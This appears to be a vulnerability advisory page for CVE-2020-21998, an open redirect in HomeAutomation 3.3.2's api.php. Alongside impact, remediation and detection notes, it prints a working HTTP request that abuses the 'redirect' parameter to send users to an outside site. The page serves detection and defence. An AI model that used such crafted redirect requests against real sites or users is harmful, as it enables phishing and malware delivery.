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CVE-2020-21998: HomeAutomation 3.3.2 - Open Redirect

TitleHomeAutomation 3.3.2 - Open Redirect
Author0x_Akoko
SeverityMedium
ImpactAttackers can redirect users to malicious external websites through crafted links, potentially facilitating phishing attacks or malware distribution.
RemediationUpgrade to HomeAutomation version 3.3.3 or later, or apply vendor-provided security patches.
CVSS Score6.1
EPSS Score0.01964
CVE IDCVE-2020-21998
CWE IDCWE-601
Tags cve cve2020 homeautomation packetstorm iot redirect vuln

🔍 Vulnerability Description

HomeAutomation 3.3.2 contains a redirect vulnerability caused by improper verification of the ‘redirect’ GET parameter in ‘api.php’, letting attackers redirect users to arbitrary websites, exploit requires user interaction with a crafted link.

🌐 HTTP Request

GET /homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://interact.sh/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-21998.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-21998.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A